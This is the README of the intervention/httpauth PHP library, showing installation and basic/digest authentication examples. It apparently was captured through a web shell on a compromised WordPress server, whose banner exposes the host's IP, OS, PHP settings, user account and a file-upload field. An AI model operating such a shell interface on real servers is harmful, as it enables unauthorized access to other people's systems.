| Server IP : 82.208.35.60 / Your IP : 216.73.216.168 Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31 System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64 User : studiokobylisy_cz ( 1008) PHP Version : 7.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/home/d2m/sofident_cz/wp-content/plugins/wp-optimize/vendor/intervention/httpauth/ |
Upload File : |
# Intervention HttpAuth
Library to manage HTTP authentication with PHP. Includes ServiceProviders for easy Laravel integration.
[](https://packagist.org/packages/intervention/httpauth)
[](https://travis-ci.org/Intervention/httpauth)
[](https://packagist.org/packages/intervention/httpauth/stats)
## Installation
You can install this package quick and easy with Composer.
Require the package via Composer:
$ composer require intervention/httpauth
### Laravel integration (optional)
The HttpAuth library is built to work with the Laravel Framework (>=5.5). It comes with a service provider and facades, which will be discovered automatically after installation.
## Usage
To create HTTP authentication instances you can choose between different methods.
### Static instantiation by array
```php
use Intervention\HttpAuth\HttpAuth;
// create basic auth by array
$auth = HttpAuth::make([
'type' => 'basic',
'realm' => 'Secure Resource',
'username' => 'admin',
'password' => 'secret',
]);
```
### Instantiation by calls
```php
use Intervention\HttpAuth\HttpAuth;
// create digest auth
$auth = HttpAuth::make();
$auth->digest();
$auth->realm('Secure');
$auth->username('admin');
$auth->password('secret');
```
### Ask user for credentials
After you created a HTTP authentication instance, you have to call `secure()` to ask for credentials.
```php
$auth->secure();
```
## Server Configuration
### Apache
If you are using Apache and running php with fast-cgi, check setting headers:
https://support.deskpro.com/en/kb/articles/missing-authorization-headers-with-apache
## License
Intervention HttpAuth Class is licensed under the [MIT License](http://opensource.org/licenses/MIT).